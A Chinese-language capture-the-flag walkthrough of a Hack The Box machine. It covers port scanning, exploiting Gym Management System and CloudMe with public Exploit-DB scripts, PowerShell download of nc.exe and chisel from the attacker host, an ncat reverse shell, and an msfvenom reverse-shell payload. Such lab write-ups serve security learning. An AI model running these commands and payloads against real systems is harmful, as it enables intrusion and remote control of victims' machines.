1、扫描
masscan快速全局扫,nmap具体扫。7680不知道,8080是web进去搜集信息。
C:\root> masscan -p1-65535,U:1-65535 10.10.10.198 --rate=1000 -e tun0Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-01-17 09:36:41 GMT-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on 10.10.10.198
Discovered open port 7680/tcp on 10.10.10.198
C:\root> nmap -A 10.10.10.198 -p7680,8080
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-17 19:18 CST
Nmap scan report for 10.10.10.198 (10.10.10.198)
Host is up (0.41s latency).PORT STATE SERVICE VERSION
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: broadband router|specialized|router
Running (JUST GUESSING): OneAccess embedded (88%), AVtech embedded (85%), HP embedded (85%)
OS CPE: cpe:/h:oneaccess:1641 cpe:/h:hp:procurve_7102dl
Aggressive OS guesses: OneAccess 1641 router (88%), AVtech Room Alert 26W environmental monitor (85%), HP ProCurve Secure Router 7102dl (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
2、web信息搜集& gym渗透
在contact页面发现用的是gym系统。
网上找到漏洞
https://www.exploit-db.com/exploits/48506
下载,打穿,很简单,一步到位
python 48506.py 'http://10.10.10.198:8080/'
但是这个shell不稳定。打开本机的python http,传个nc过来,再转到本机,拿到更稳的shell。 中途是网络不稳还是什么,搞了好多次才成功。
powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://10.10.14.9/nc.exe','ncat.exe')
.\ncat.exe -e cmd.exe 10.10.14.9 4444
3、端口转发 & cloud 缓冲区溢出
winpeas传进去运行不了,应该被杀软禁了
在用户的目录多找找有何价值文件。download下发现cloudme软件。
网上搜到这个漏洞https://www.exploit-db.com/exploits/48389
,是缓冲区溢出,buffer overflow。
打开看
1、攻击端口是8888,这个我们之前没有扫到过。
2、payload按作者提示修改。改成我们本机的
于是:输入netstat -ano
查看端口进程。确定也没有8888,靶机内部也没有.那攻击哪??
再回到用户目录,运行cloud 程序,再查看端口进程,看的到了。
但是是在内部监听,我们打不到。于是我们端口转发出来到本机。打本机的转发端口,就可以打到了。
有很多软件,我习惯https://github.com/jpillora/chisel
或者其他很多地方可以下载到。
本机打开端口转发的 接收 ./chisel server --port 8081 --reverse
再传客户端到靶机powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://10.10.14.9/chisel64.exe','c.exe')
靶机里执行转发c.exe client 10.10.14.9:8081 R:8888:127.0.0.1:8888
接着我们修改缓冲区溢出的codemsfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=10.10.14.9 -f python -v payload
复制替换到恶意文件里去。
一切就绪,运行恶意文件,可能和网络有关,我试了两次才搞定。
python cloud48389.py
收到拿下